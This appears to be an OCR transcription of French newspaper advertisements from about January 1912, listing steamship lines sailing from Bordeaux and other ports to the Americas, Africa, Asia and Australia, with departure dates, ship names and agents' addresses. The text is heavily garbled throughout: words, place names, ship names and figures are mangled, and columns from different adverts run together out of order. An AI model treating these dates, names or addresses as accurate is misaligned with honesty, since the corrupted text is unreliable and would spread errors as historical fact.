HavreNEW-YORK«B08T0HBRÉSIL ET LA PLATAPuerlo-MexicoCHINE ET JAPONVia LIV1RPOOLSalina-Cruzen UAUSTRALIECUBAC0MPA61IEIAVALE DE L 0CEA1IBAgent*. JaMIS MOüSelC', 19, al L de Chartres.Connalwammia direct* pourUHNgCharge»Maeille, Sierapore, lotie et Z*beCH. VAIRON A C*■saeateaseweSauk Ireuiboraetnenl en cours de routePorto,Lisbonne t Barcelone L'ILE MADÈRE et l'ARUIi! P). I. des A Ç.OH ESLigne Commerciale de l’LXTRÊME-ORIENTnitrée. Conetnnuuu i! < t B toua (f).► ►damai. Aux Cayee. J* réale. Port-au-Prince. Kingston.haro Manaujar» pain Durban.rive. Correspondit nem:i;t toua. SaintMonte-flué Bnien Casda LIm IIRYIOE POSTAL HEBDOMADAIRE!Lig.ie modulo de SAINT-etAZAIOE à LA HAVANE et VERACRUZ (Dejuirt# le ?t de chaque mois.)Quatre fois per mole Par e/» •»■*, cap. Manriqne.ETATS-UNIS Philadelphiel’un Hlérttq.ie <•>. Conna ssemer.U directs te Bordeaux.l’orocaex. -0. non R» teindronsDÉPARTS TOUS LES DEUX MOIS De Bordeaux à SydneyLeplana Luxer. MeHealae le 31 janvier. Harrteon Line» < beueellor, 10 février.Prochain Départ par. S. 8. Saint-Jnn De ROTTERDAM le 3 Février l»i S.a Majuuga pour Na.obi’>c ri,|ear élira.Un TeHuaolepeo national Bailwag FLigne postale de SAINT-NAZAIRE a COLON (Départ le *J ou le 11 de chaque mois.) Vereaillre 9 janvier.b,uc>i ionCuroguc Las Pal-West indien Unie N° III le 10 de chaque mots d’ANVEHSK i»H<H ILHtt volt< i Saint-Thomas. •aint-Juan-de-Porto-RIco.•< oqtléîliUo* •Attlofèilt Mlolieud*» et *< miso.Prenant des p;i»sac*rs de Ire. *ze et le cia lies Sur ce steamer, U exilée |>lusteurs cabtu*.$ do ire clause avenantes uns ierii«‘nl un paa mazer ; les antres cabines de relie catégorie sorti eiumôQturêes pour doux passagers adultes.BORDEAUX, ESPAGHE et PORTUGALPour tous renseignements et frets, adresser à 1*Agence, 9, place Richelieu.TôUpbeee IMADéparte réguliers tous les mois de Glasgow. Lrpl<in-r/.ïnjr Mrltonian le 31 janvier.Cemliteeeats directs puer COPfHHA6UE Vapeur euédole NORBEV, cap. BotbenDépart 18 janvier. Humbert BALGUER1E. 2. place RI-’ '’ion!>a Rochelle l’alliée. quu Carnot. M l-rank agent général).Maroc, Algérie. TunisieWestind’enclume N° Il Le 8 de chaque mois d ANVERS«N OROIILRB POUR i Saint-Thomas. Kingston. Puerto-Oolombia. Cartagona Colon-Panama. (Pacifique Nord. Sud et Amérique centrale.)Port-Limon.Ligne dif te ùo BORDEAUX QUAI A LA HAVANE et NEW-ORLEANS déjà arts le 23 do chaque mol».) i'alHotnle IKijanvtB.ibao, Sautaitdor, Gijoa, Corogne et Vlgo et Porte interroôdlAiresTroie foie par mataLigne directif do Vaneure de Charge de BORDEAUX QUAi au» ANTILLESet CUVANE FRANÇAISE départ le CO de chaque mole.)Ligne postale mensuelle de BORDEAUXPAUILLAC aux ANTILLES, VENEZUELA,COLOMBIE REPUBLIQUE DE PANAMA, PORT-LIMON et le» ports du Pacifiqueovin COLON-PANAMA). (Départ le £6 de chaque mois.)Ligne régulière et directe de BORDEAUXQUAI à CARSTON et LIVERPOOL (Départs les 6 et 23 de chaque mois.)Pour fret et pMMgee. «adresser Louis X VHl, A TéMServie* auxiliaire accéléré du HAVRE à NEW-YORK (Départe tous lee samedis.) •chambeeu îO janvier, 7 heures soir.S adreevor. i>oûf tons roosoigueiaeota * l’A^nce fléwfra’e de la C3wrçHÇ«ie. l'AIAphonr N» 104». 16. Quai LoulS-XXIIJPOUR LES PASSAUKS D EMIGRANTS a MM. G UOLSON <!k G*.HÇ fil BOHÜES. BORDEAUX New-York. Ibt rts-Unia, MexiqueNorddeutschér Lloyd Serrtce PostalDes oonneueeerueiu» «ifwii e< ri aekero û Bardeau* ru kick> ia* d»stxnuU<>n».Chargement A Bordeaux. Ligne Vo«r.chaque vendredi 'voir)ANTILLES-ROUTE pour lee portai VENEZUELA et COLOMBIE Dép.xrli réguliers Unis les 10 Jours de I.lverj-ool■ARBAD08, TRINIDAD, LA CUAIRA,CURAÇAO et PUERTO-CABELLO Harrteon Luxer. t.u««neer, 85 janvier.8. S X.... le 8 féer. ISIï. de H* MBOVHC, Cbargemenl X Bordeauxles IVie janvier 1912.Ligne directe et régulière de BORDEAUXQUAI à NEW-VORK (Départs toutes les quatre semaines.) Bainl Laurenl 3 février.Lignes Postales des INDES, CHINE et JAPONHamboiî-lnierita-Linie tenir Hebiié par Vapevra peinantLIGNE du MAROC. Service direct et régulier entreBordeaux et Casablanca par paquebots aménagés pour prendrepassagers de toutes classes. (Départ le 7 do chaque mois.)teuto i Vrpear VICE Dini CI El MENSUEL i, Madagascar, Maurice. R; unionLigne directe et mensuelle de BORDEAUXQUAI à la HAVANE, PROGiIESO, VERA CRUZ, TAMPICO et lee poils duPacifique, vlA PUERTO-MEXICOet SALINA CRUZ (Départs le £5 de chaque mois.) Tei** 24 lanier.HARRISON DIRECT LINE DIRECT ROUTE (pour les ports deNORD PACIFIQUE). Déparle régulier» loue le* W Jour» d Anvers,Swaneea Glasgow ei I.iverpool BAN-PEDRO, SAN-FRANCISCO,VICTORIA V^l. et VANCOUVER B.-C.Dates d«e départ de Llverpool t Harrteon LUwr Crewe-et-Teléde. 10 janvier.Harrteon Lmer Lrafisaeaa, 17 février,narrera Ltner, ülelorian M mars. et d’Anvers 1< Jour», Glasgow 7 jours, avant lePour LIVERPOOL OllOPL-SA, 5,3<>i mun. vers le ’<ODEPART DU HAVI. kiwi. iiixde Hambourg, Chargement à Bordeauxlee 2LW janvier 1312.Service postal mensuel Vlâ ROTTERDAM et LONDRESPOURNavire X..., départ 15 dévirer 1912. Pour fret et renseignements, «’edrewor : A Paria: à MM u Hauer et C», 32, rue dei’Eeniqeler; A bordeaux x : * MM. L. Hauer et O: Il oie, quaiLouis XVIII. Et A MM. D. Blnand et H. Kerriére, courtier maritimes, 21, rue Ko/. Téléphone 2,5.M. A DE VIAL agent principal, quai Louis XVIII. I l*pUe»e A» 8»LIGNE de V OILIKRS entre Borieaa, la MariMpa ai la Ga*lei:>upQDéparts réguliers tous kl mol» de Uverpool. BELIZE, PUERTO SARRtOS, LIVINGSTONSt PUERTO-OORTEZ Harrteon Ltner K<ate*«uau. 18 janvier.Harrteon Ltner. Htndent, 17 février.TEHUANTEPEC-ROUTE (Pucrto-MexiooSalina-Cruz pour les porta du PACIFIQUE Départs réguliers toua les 10 jours de Livcrpool.KINGSTON (Jamaïque) PUERTO-MEXICO, VERA CRUZ et TAMPICOHarrteon LtMr, Commordore. I février. Départe réguliers toua le» mol» ds Uverpool.GAI veston (peur Qunymae,San-Frsncieco, etc.). Harrteon Ltner, Eagine -r 84 janvier.Lignes Postales et Ccmmarciales de MEDITERRANEE et MER NOIREis Jaiivi.-r, pe-iueiiot < RÙiXOQl li, corné. Combili pour Alexandrie l’sort Suld et pour passager» seulement Jaiia et Beyrouth (1).Cuba Unie A le to de chaque mois d‘ANVRi«.B.V nnonvRB POI H Havane. Matanza». Cardenas.L1GNS DlUETIf SulNS TtUBiSP'MUHülINl DEPARTS MRNSt ELS de Bordeaux a Colombo, aingapore,Saigon. Tourane et Haïphong. Connai»»ement8 directs nom uaugkoL Baria, < audio, < up 8>air»t Jui quick < Uaodoc, llaliiffhoi Mllho Pnosn-Penh, Vin.• la»iiK«tHa<l*-c(tran*bord"mcnt a Naïgoii). et pour Hanoï (transbordement à Haïphong). AMIRAL NIELLY , 0. Privai 3 février.1 Février, paquebot C’Uil.l, lourde. pour Lisbonne, Dakar, Mania Rio-Jsn'lro i; Av rca (2) (1)(1) Par trartebordement A Rio Janeiro pour Pa managea. «ante-ratoerlna, Rio Orande-du-Sud Pelota» et Porto Alésrre ‘pour tiiarchundnci ruUinrnl!lî» Pur transbordement â Buenoi Avroe pour llo carto 'pour mercAendiiri •eiitemmu.CH. VAIRON & C O, PlMcw Richelieu, Bordeaux.Fronianth», Ade.aide Byilnor, Mifbn.iiite. Nli«-Zéi*n<la. Fl !. rtoLigne régulière hebdomadaire de BORDEAUX-QUAI â LONDRES, viâ Nowhavcn.(Dé far U tous, les samedi*.)Pour fret etreneelirnomenie, s’adresser à 1*Agence, 9, place Richelieu.Téléphaae tt-13.La Havane Vera-CruzTampico 1EBVICB EXTRA B'PÏDBAM TILLIZB Centre-Atn-Sgdueo. McxlnnWestmdien Unie N° I le 3 de chaque vola de HAMBURGid. ilHOHLHk rot H I Salnt-Thomae. Trinidad.(Clndad Bolivar.) Carupano La Guayra. Puerto-Oahelio Curaçao. PampatarSanchez. Samana. Pueno-Plata. CapHaltlon. Port-au-Prince. en Iransbordrmenl d Sain! • ThomntSan-Pedro-de-Macorl». Domlngo-Olty.« r*N * PacifiqueSan-Francisco6uw*Ai»st*ena eéaacre parvis BORDEAUXVu'4rfAn;!«t."-fru, IrluJû, Kcutee ?: Fs;» 4r OilleiLignes Postales de l'OCEAN ATLANTIQUE 14 Janvier, paquebot AHAZO.XE, cunnnnn dont Mngnen, pour Lisbonne. Dakar Hio Janeiro d> baudas Montevideo et Buenos-commandant .. Pc i n imbu co, I) Monicv'dao et Buenos-Mo 1 N noireCenulaemeoii abruti de B01DM0I charles KŒHLER4C<WTLignes régulières de BORDEAUX-QUAI au MAROC, on ALGERIE et en TUNISIE.Départs le 4 du chaque mois directement E)lir TANGER, GIBRALTAR, ORAN. ALGER,OUGIE, DJIDJELLI, COLLO. PHILIPPEVILLE, BONE, LA GALLE, BIZERTE, TABARKA, TUNIS, et retour par les mainte escales, sauf Gibraltar et TangerDéparts le 9 de chaque mois directement pour MELILLA (fax’Ultatif), ORAN et ALGER et retour.Départs le 18 de chaque mois directement pour les mêmes ports que la ligne du 4, sauf Tanger et Gibraltar. L’escale de Tanger est desservie au retour.Départs le 24 de chaque mois directement pour ORAN et ALGER, et retour.NB— Les ports d'Arzcw, Nemours et de Moslagancm sont dessertis via Oran. et ceux de Sonsse. Sfax et Malte, viA Tunis.1<l Janvier, paquebot Cabenda, commandé. X.. pour Pavages, Bilbao, I “te Janeiro l', Santos Montevideo i l'uvii«>»-Afre» u).celer, I. de v„ oui Port-Saïd. A<len. Colombo, Smcapore c-iIkoo.!ione-K<-iie Mnu-rbvi Kobe ol YokohamaCorreepondance» a Colombo pour Pondichéri et Galoutla; a Singapore pour Batavia: à S.iIkou : t« pour Nhatrana, Qnlnhon Tnurnno ol llalphonz : 2* pour Unnakokil Février. PMquebot ALsibxi.iia, commandant Ailiaud pour l’ort-Said bjil»outl. Coioiiu-u, Slo<apore Saigon Hong-Konn, Sbauehai Kobe «I Yoliotian.aCorreapondaucee a (XUoiuoc a vue VA ruons-Ch. Vairon 4 C 9, Place RichelieuServicedHiver 1911-1918 Caaualueaicait diriez Saini-JcÜn, Halifax, Montréal et Qeéboc, iBlpeg Viwdorln. louver, DUéroit, hté-Pael. <Jhie*x®, et pour toute» les villes duprès» Vlllnlot.gi • puer pui«fi'I'-*’»G* GÉKERALETRAKSATLARTIQUEUgne postale hebdomadaire do HAVRE * NEW-YORK (Départs toua* les samedis ) Le L*rral** N janvier. 1 heure soir.aûreeaee, pour tous renseignements, 11Lignes Poetalua d'AUSTRALIE et NOUVELLE-CALÉDONIE 1 FAvrlwr. paquebot AHUAV» itl.Uli , corne. I. a font, pour for» Nald Bues Aden,. Bombe v Colombo I-rem an lin *<léleldr Malboni u*. Svdnev «t Noutuéa (N<-rvlco anni-vr d#AGENTS A BORDEAUX Ch. Vairon & C9, Place RichelieuPANAMA-ROUTE (Colon-Panama) pour les ports du PACIFIQUE Déports réguliers tous lo» 10 tours de Llverpool,COLON, PUERTO-COLOMBIAet OARTAOENA Harrteon Ltner NtMeemau, 18 janvier.Leykxna Liner. Mrxk-an. 87 janvier.Leyîand Ltner W*-< HIT, b février. Départe régulier» tous les mol» de Uverpool.SAINT-THOMAS Leylan. « Line* w »-t un. s février.LIMON Leyxana Liner, Mcxlcan, J7 janvier.-Leylann Ltner, Almerian, 15 février. Départs réguliers tous les mois do Uverpool.SANTA-MARTA Leytanl Ltner. Almerian, 15 février. Départs régulier» tous les U jour» de Uverpool.NEW-ORLEANS (pour Quaymas),San-Francleco, etc.).Ligne Commerciale do MNDO-CHINE 30 Janvier, i-aqueuoi Ll 1*1111 tri IL’non, pour Colombo. Saigon CaiCôte Occidentale fl'Afrieiïe 'SKRVtCl POSTAL MENSÜTL) EUROP k, o. F.rnouf TT» janvier.Poar Dakar, Oonakry. Grand Bas pain, Ootunou, Llbi•ville, Oap-Lopex (tiette-Cawa, Mayumha, Loango en trayez irdemenl), Banane, Borna et Matudl iconnalsRemenl» directs pour les porta de l’Ogooné, transbordement â Cap Lapei el port» du Congo et do» rivière» Haiigba el Oubtxnghi, tr.ninbordoment è Matadl).11. III PI ISN A4 I* HAUER * C*. Bucceaaeora.IÛÜTUC ttRIlŒ DtEiCÎ ST BRlütL Pour lee porte de UST DE L'AFRIQUE,a» CANAL DE SUEZDar-ee-Salaam, Zanzibar. Tan■ el Mombaza (KlUadlnl), sans transborde-Agence de BORDEAUX i n. VAIRON «fc cO, Place Richelieu.CHRISTIANIA i NORVEGE Vapeur aurwégiee TOl.OBA,cap. Brekke. repart le 15 Janvier. Humbert BALiiliKRlE. 1. JM»»* RJcbaMM. H**eee ■* MM exaAGENTS A BORDEAUX CH. VAIRON mec9. Place RichelieuLEYLANO LINE HARRISON LINE• urvfce direct de la C,e ALLAN SERVICE D'HIVERIINT-JOHNPIjA'jFA Pour Montevideo et Buenos-Ayres seulement. AMIP. AL TROU JE, c. X iO février.ASSURANO«e (iiAMrnnw) C* ROTAI EXCHAR6E S’ajreseer» Thoe. TRAPP * Sone1*1. UMO Bordeaax el Londreagenet ù Bordeaux lo 27 janvier. * tcltyraphiqurt Téléphone UN). HuNBOnDK-iBordeaux fi,qiuiLoui«-XV|!l,B-,rf-euSpfesdides aeiirageeeiU peur Pamgere Départs do Havre i Le» 1er et 17 de chaque jota Départs g# Bordeaux i Tou* lee dimanches surlee rapport de la Ligne W0RMS ei O.Galba rien Qlbara Qanianamo. Santlago-do-Cuha. Manzanlllo. Cientuegoe. Cardenas.Saul modifications. Connaissement» directe depuis BORDEAUX.Chargement A Bordeaux sur les vapeurscorrespondants de Worms et Co. Pour fret et renseignements, s’adresser àl'Agence : 9, place Richelieu.Ugne postale de BORDEAUX-QUAI * SAINT-THOMAS, PORTO-RICO, HAITI et laREPUBLIQUE DOMINICAINE etSANTIAGO-DE-CUBA (Départ le 18 de chaque m«">is.) Montréal 18 janvier.LIGNES DE LA MEDITERRANÉE (Sous réserve de toutes modifi-'atlons).Dl.PAIlTS DE MABSBILLK Lundi. * midi, pans Tunis (rapide). Malte, Tunis, Marseille (rapide).Mardi, fi midi, pour Bougie, Djidîclll (taeuhalil). Bougie, Alger, Bougie, Marseille.Mardi, u I heure soir, pour Algor (rapide). Mardi. A 5 hemv.» soir, pour Béne, Philipville, Marseille.M non f a i genre soir, pour Alger ira-Westindien-Linie N° IV lo 83 de chaque mois d’ANVRRSK> DKOIILRK POVK Salnt-Thoma». Ouraçao. (Maracalbo, Le Vêla de Coro ) Puerto-Cclombla. Cartagena Colon-Panama (Pacifique Nord. Sud et Amérique centrale.)Port-Limon Puerto-Barrloe. Livingston. Bocae del Tore.Colon.l o, xirulre».,, caiouita, Banroon.CHINE Penang. Sinîia-.ore..., Hanpltoli xiai'U.i .... Hong Konr. Shatterhat Tlenteht, port Arrriur Yoltnnama, Kohe, ouata, Nagasaki.BRESIL-PLATA AMIRAL-PONT Y. e. Le Cerf... 1" février. Chargeant pourRio-de-Janeiro, Santos. Montevideo et BuenosAyres.Cotinalasement» direct» pour Paranagua Saé l raid< l*<-o. l-.orlanopoliH Rio <èrand«?-do Mul P.-lotav, Porto-Alegri-, Periiambuco Babia (f ransbordemuiit A Rio) Awuucion (Paraguay). tr.insbordcmeiJ t h Montevideo et pour R<i*ario et If» poilu do la Patagonie el de la 1>rre-doFeu. transbordement a Bucoow-Xyree.plie. Jeudi, & 5 heures soir, pour Tunis, Mareffile.Jeudi, h 5 heures soir, pour Oran (•). Marseille.Vendredi, ft midi, pour Bizerte, Tunis, Bfax, Soueje, Tunis, Bizerte, Marseille.Vendredi, à t heure soir, pour Alger (rapide).Samedi, a midi, pour PhHippevIlle, Bône, Marseille.Samedi. & 5 heures soir, pour Oran, Mareelllo-Dimanche, à 1 heure soir, pour Alger (rapide).Conriaistcments direct* pour : QUEBEC, MONTREAL et tous lés points del’intérieur du Canada, ainsi que pour CHICAGO, MILWAUKEE, MINNEAPOLIS, SAINT-t OUÏS, etc., et lee villes de l'ouest dos ETATS-UNIS. M André COLOMBIER, t. rue Esprit-de.»-lx>l». Bouleaux téléphone 30*.traite, de la Mouveiiu-Gaiédonie et des Nouvelles IhM.rides; » Sinpaporc cour Batavia il Saigon i» pour Nnatrane quinoa Foorane et Halphonn: nom liaiu-kok Lignes Postalos do l'OCEAN INDIEN15 Janvier, paquebot AAIAI.», commandant l.iparellt pour Port-Saïd avuez Djibouti, Adeu MaUv .sevciieiie»,. DiJ^o-Suure* batteMatle. lamata've La Réunion .-i MauriceCorreapon.iauee» i» a Dievo-Suare^ pour Nosvi Bé Annlaiave M», unira M.» voile. Muteamudu Moheiv Moroni DruSainm, Zan-Lqjrtc rîgaLdre pourLONDRESSOUlr.Ah.PTON, HULL JliimeY et titraisl^«M rocs LK8 SAMKn,DApart le 20 janvier.Vapeet OrtolanDEPART D’ALÜER : Mercredi, A 8 heures soir, pour Bougie, Djldjelll, Colle. Philippeville, Bône, La Celte, Tabarka Blzorte. Tunis (retour mêmes escales).DEPART D’AJACCIO • Lundi, à 11 heures soir, pour Porto-Tcrrôs, Bône, Porto-Torres, Ajaccio ou Bône, Ajarcio.(*) KfC.ilei faeullnltvr*. MOSTAOANEM et AR ZEW.Pour Cette et Saint-Louis, deux ou trots départs de Marseille par semaine.-r, i>a culot Ai>Ot R coin. MouPort Said buez Djibouti Moinbar. Maiotte Majunga Noaei-Bé.Brésil Nord ItrinhlO ) S. S. Gaabvba. ParnxhvhA * le w «<vôter 1»IL d'ANVEHS ■ •Auauju». largement a BordeauxCeaXA ) )«e IMS janvier 191t. Pare ) s. S Rio-Xegro. ■ ••• f le «janvlerltu du HAVRE Manaos ) cbî^%nirritegxBrésil L'outrePernambuco (e i<vnéneu.de navré Rihia 4 Chargement a bordeaux Dauia ) les 11/ie f#crierS. 8 X U fét r. 1912. de HAMBOURG. Chargements Bordeauxle» Zo/36 janvier 1912.Brésil SudParaoagua i Bio-Graode I le w l4f® jin^da havre Pnrtn-AIflPTl ( Cnargemeni à Bordeaux rvrw-aiBgre i lee lie frôler |tll_Pelotas / Rio-Grande Porto-àlegre I NPelotaiParanaguaCabedello Macelo lio FranciscoDcstorro Rio-GrandePorto-AlegrePelotasL*8M RogutiAre de hLSobcis-Pssts De LA ROCE1RLLR PALLICK Espaça. Psrtatial, Cap VerL BrésilUruguay, Ràpublii$«9 J'r^c fine,Chili el Pérou.départ régulier» tous les mol» do Livcrpool. Leylana Luxer, l.onl--ianl «n.COMPAGNIE DBSMessaseries MiritietiPAQUEBOTS-POSTE FRANÇAIS Société Anonyme Capital : 45.OOO.OUO de FranceEXTRÊME-ORIENT Senice régulier iiâ inst. et Haœbevg pour i Port-Saïd Penang Singapore Hongkong Shanghaï Kobe Yokohama Manlla Chemulpo Tslngtan Dalny Taku Wladlvostockdu Japon et de la Corée.Quatre départ* par mois.mSERVICES RtGUUERS ENTRE BORDEAUX, MARSEILLE, DETTECorreepondeoôé avez loue lea eervleex des MeeeageriH MerttlmeeC des Bateaux à Vapeur du Nord S/Xtiâ SOCIAL: •» PUie« de» Nalioni. A fiUNKÏKQUlCerreepondance pour IITaLHL — tUSPAtiNB, — 1ALGÉH1I el TAN6ML DtPAiiTi LM 4 tin u rr nx D» roi VHte-de-Lorient, o. Vanhiite î Ville <le Dunkerque, c. Bénard...... « terniPréeid'-læroy-l.allicr. c.wadoux.. 13 foriez.X.LA PALLIOE ,. c. X SAINT-NAZAIRE Vllle-de-<"ette, e. Vandenbroucke. 24 Janvier.BORDEAUX, DUNKERQUE CoBDaléMtxeotl directe plee ville» dn Rond de le Fimnoe Beieeue. Hollande (Rotterda*fPrAwiduLeroy-lJdlicr, c. Wadoux;... 30 janvier. XIBe-de-t'etto. c. Veudcnbroucke 84 janvier. Cambrai, c. Jacob janvier.BORDEAUX. LORIENT. BOULOGNE Oo départ pai «xinaine — l."*nnei»eern»ot» directe oui Hutérieoi.Villede Lllle, c. Douhlecourt .. 30 janvier.S’edrenaer • l'aseni de la Co*P»irm». t, placé de la Bourea. Bordeaux. TMéabew* ie« vetéobon» W» 1M4 .1 A. MCJIVl «fl30W FéiègrapU. El AL Téléphoa» é*e46. quai de» Cbartren*. COMPAGNIE ROYALE NEERLANDAISEDE NAVIGATION A VAPEUR Amsterdam, Paye Bas, Belgique, Allomagr.oVapeur JMobe le tr» janvier. 8T00MVAART MAA 3CHAPPIJvNEDERLAND» Indes Néerlandaises, vlâ Amsterdam.DEUTSCHE 03T AFRIKA LINIE Via Maraeine, par ru. le itf janvier. ViA Southumpton t ar vapeur, le ZO janvier.SOUTHERN PACIFIC C”Via Nouvelle Orléans.UNITED FRUIT 0° 8,S LINES Vaj>eur de New York et via Livcrpool,ou Soulhampton. Via Nouvelle Orléans. Vaptur Californie, char< leu IV et 40 janvier.AMERICAN EXPRESS 0” Vlâ New • York, Boston ot Phlladolphio.::►BRESIL et LA PLATA LE CAP. NATAL, CST AFRICAIN,MAURICE, COLOMBO, MADRAS, CALCUTTA,KURRACHFF. et BOMtlAY AUSTRALIE et NCUVELLE-T.rLANoELA CHINE ol LE JAPONrrcn.-uit ôtés nutrcJuiiulisés et passagers pour LONDRESPrenant <î« s maiciiandisies nn IraJistMnxtoniéul pourIï «J T-s < Vapeur oiuot.AAi. capitaine Taylor. < Dépari 20janvicrr.it?. " Correspondant avec connais-cments. directs pour N NEW-YORK, PHILADELPHIE, < BALTIMORE, MONTREAL, QUEBEC, < BOSTON et 1‘intèrlc.ur des Etats-Uni» < et tlu Cancda, * KINGSTON JAM., VERA CRUZ, < TAMPICO, < LES ANTILLES ot CENTRE AMERIQUETHIEimLiTElM miBlTIM 6’ L'XV. Vuni dee Cburtrun»BORDEAUXHt K’ÎCÎSOX UWKLUHector d. part M janvier. L AUMTOV. ArHteuM» dép I i janvier. itRtsiOt.. hW.t«»KI P:triN départ Hi janvier. <«l.XSt.t.'W, GAHS'i‘<>,VBORDEAUX-CLASGOWBRISTOL. S'iNiîtSEI. CARSTCü. MCNCHESTER l)'pari» tontes les nuinnhier Connifeseiii' ni*directs pour nirmin«ham, Olouceeter Dublin, Cork Limerlck, Waterlord Leitli, Rdhmurgli et l’intérieur de f Angleterre. Irlande ut Eco»»!», New York Philadelphiei Boston. Qtié>he<-, Montréal, l'anadn Rangoon.R0ANCKE8TERDIRGCTEMCNT PAR CANAL « dévirer.ou toutes i< < •‘(■manie» via Garstou.S'adresseï a MM 3 ot F». HUTCHISON. trJ, rue Ko yféK-phone Ai» Mt.Courtier : fl VAM)t.H< BUYCE.LIGNES HSHlAFFRETEURS REUNIS, Scccess*Sûrdûsuz. &‘gnrte ïd.^sîa dé; iris par mois pour AIA'Al.<li:iî el lnlc«-n»oeiitilrrx. par le» steamers de pre¬ mièvre Clas-e •l<‘r.rtii;* ("rriir-cfl. A3e»iio«lM«*Cone<‘H B.<«* flué «-<‘r‘»l*-4. l-'ci-(llnrml A. Xoirvenu <*«m««»il^rocbauiB Déports*Lorient Donamenez, Concarneau.I Xîl'Akr VAIt SKMAÎNI Prochains Départs Steamer Yonveaa-c.nin«*i1 17 janvier.F vdreSWr, pour fret el pnei.ae, a M roux Wian tg»-nl reboirai. I «U»» lllolielleii« »iA«h,.n. maenMOSS STKAM SHIP COMPANY BOREAUX • L8VERPG0L 1II.) *** *Y 0 4 i vC luxe. /' t» tir. .-t» pont !YEWVOUk, UUMD.v. FilH.AIMRLPiHB, SALVESTO',, fi’BW OB;JiAAG. HA.V I HA.Yt ISCO, Ql'EXè'IX MtlAÎIK VL, Uilérlear du CANADA, HAVAAT.,<Xt|l*,n»LXUj|ifi,c'i;(V’nUÎ-AMÊlU(|l!K. AJvnLLKei, tmLK.;., ^cmh-.y, caimitta. ; kl rebat Ulilï, HAAGO'lf.Y. COTïî b’AI titQHK.fiRPART» KEUULIKHS T )US I.K3 VKNPKF.PI « Vengea 1<W> tx. ..... ri janvier. I Veuiiéo î.fjno tx yi Janvier. Vow.xr» S (KM) ex.. 2 lévrier. Vendée.,.. 2.<xiii tx D février. CORK, DUBLIN, BELFASTet lîx ville» d'intérieur d’arlavrrïc. BRISTOL,, PLYMOUTH SESWCB HAP1DB HHEDOMADAIIU'. POURMANCHESTERfNTÉhlBVB DE L’ANGLF/rr.HUEPeur coniilIJoM de fret» modl'Ue*..» udreeeor à Courtier i B. vaNDCUCRUYCE. 21. rue Foy Félt^hoMe N» 25». Agonie: JAMES MOSS el C». IV. ait doChartres Fétéoiiouc N» 33G.TH. MAYER & C" LEITH ÉDEMBOURG CLASCOW)S. S. Ntarley Hall départ le ifi janvier. S. 8. Ravenna départ le 24 janvier. S. S. l arrallne ... départ le 10 février.LINE “WILSON ” (VIA HULL) Départs bl mensuels p» la Suède, la Norvège et les ports de la Baltique.—New-York, BostonB ORDEAUX-BALTIQUE -via hxmboubg) Départ» hebdomadaire» pour Stettln, Htolnonde, Danztg, Elbing, kôiiigaberg, Heniel, Liban, Wlodan, lll<xu, NorrUOping, Mocbois, GeSe.S’adresser A MM Th. MAYFR et C«. revente cosignataires (Téléphone élit), rua FoyALBREGBï el Fils, aI, rue Foy Bordeaux-RotterdamVapeur ■oiiaader, départ le 18 janvier. ConnaiMementa directs pour la BO14.AN1H:, le» Porte du Rhin et antre deatiaatlona d’ALlJ<MAGXR, NKW-YORK, BOHTON. BALTfioBBTFBnLAbKLPHIB. liAVANNArf rt fini bleu r dee Ftale-l.ule.Courtier: André FBRRIÈRB.Bordeaux-Lai Indes Néerlandaises CAarpemenu', „}* hottera. 18 janvier. Téléphone an. *MBrM ** z7 janvier 1918.XdL'àrmt EHITllLOmMru Service régulier par Vapeurs trançole entreBordeaux etMo,LI$DgnDe.Ml Le steamer MR4MI A1. partira a. Lle 20 janvier 1618. Peur fret et reuaelanemenia FadHaser auLigue Régulière do Steamers entre Serdeaux, Helsinghorg. HilmœStockholm ut la Saoiie.]. i l’r rieur départ : m J8 janvier 1913. Vapeur 1 LLl.LM c. Ericsson. BBai&ÎS Départ direct pour Norrhupiug.S’ad. pour fret et tons renseignemonts, à MM Henri FEIUUEHF, ci Daniel B1NAFD. '« rue Foy i<idph.COMPAGNIF.DANOlSEdoNAVIGATIOSLt'jnc Tc.yulière de Bcleaui à Vapeur. do Bordeaux à Copenhague, Sainî-Pétorsbotirg, Moscou, Liban, Riga, Reval, Windan,Lübeck, Stettin, Danzig, Kœnigsbarg, Abo, Hango,Ports Scandinaves. Cumtulssements directs oui les ports de la Bcl'.iqua, dv la Scandinavie et pour Varsoule, Klew, Charkow, Tscheljablnsk, Oimk, Tomslt, Krarnojarsk et Irkoutsk.Steamer (•rei..eL capitaine levers n.lapai t le lu janvier. MM Henri I FRim r.E et Daniel HINAUD, 21, rue Foy. Téléphone 2S21.Mto 15 BSVlJStiM 8 ïw),) FRAISSiNET ETC*Pa<iuel»oU-Poêla Jrançaw Services réguliers doux fois par semaine pour! Nice. Toulon, 13-Corse, la Sardaigne,la Sicile, Oénee, Livourne. Servie"» réguliers hebdomadaire» pour: Naples, Constantinople, I-e Pivée,Smyrne, relira, E cloque, JDédéagh, TSurgas, LJullna, Ualatz, Braila, Varna, Odessa, etc., les ports de rÂx’clip el do lu Mer Noire. Ncr* ici* marltliim postal île Marseille A la C<n«i <H-ei(icnial<! «!' flique. Départ » tueneuole, Prochain dupait de Marseille: 12 lévrier 1012. Coniints.<ci.'irh!s directs depuis Bordeaux. 6’adresser A U PICHARRY, agoni de in Compogèle. 40 quai Bourgogne. Bordeaux. l'4-lépliono ik» Gïà.i l (C* Royale Hongroise) IaSV tS&iàl1 ’^n" rtjuUi)re subventionnée entre BORDEAUX, L'ESPAGNE, L'ITALIE,L’AUTRICHE-HONGRIE/••/ VILE VER.SA l'n Départ par lloi-» poolVenêse,Trieste, Fiumfiri’.LTS IRES REDUITS Vnp. litons. ,'HkDdu vers lo 15 janvier. SHdresiet a m ü«e RUHANDA, agoni t flordcanx coure du Jardui-Publio, 39 bu*. Féltntioue t toiWOHBSS a O1 CH'.HB'jNS Jl „L,1 , tillais LIGNLS FRANÇAISES PAR VAl'EÜRSEM'llB B-^DLA'IX, IA PALUCÏ et «E UAVREht-pirts tom le* samedi* Michel, Cap. BMinch.. y) janvier. BORDEAUX, ROUEN et PARIStous le* feurlt*. Bautèniè*. i ip. Augais 18 janvierGCHWiAUXel HAMBOURGP-*, arts tous les samedis Mlcbel, cap. Béneob .. rO janvier.RORDKA'JX ET BRÊMEDiparU tous b » îj <te chaque mot*. ITiércfce-et-.Uarie. o Le DUÈ» 2<) janvierBORDEAUX et ANVERS JeimefttemenLe n< note j»* tou ue ,os 411ns de> i Belgiqueto. t» sn de chaque mois. Tli6rcii«-ct-Marl«». c. Le ülzès..... 20 janvier.BORDEAUX et NANTES Sic déportas par mois, mardi* el samedi*. Penwac, cap. Maosirt 16 jnnviotBORDEAUX ot BAYONNEliLPari* toua* ‘le* mardis Froiumc, o. Garo.. 16 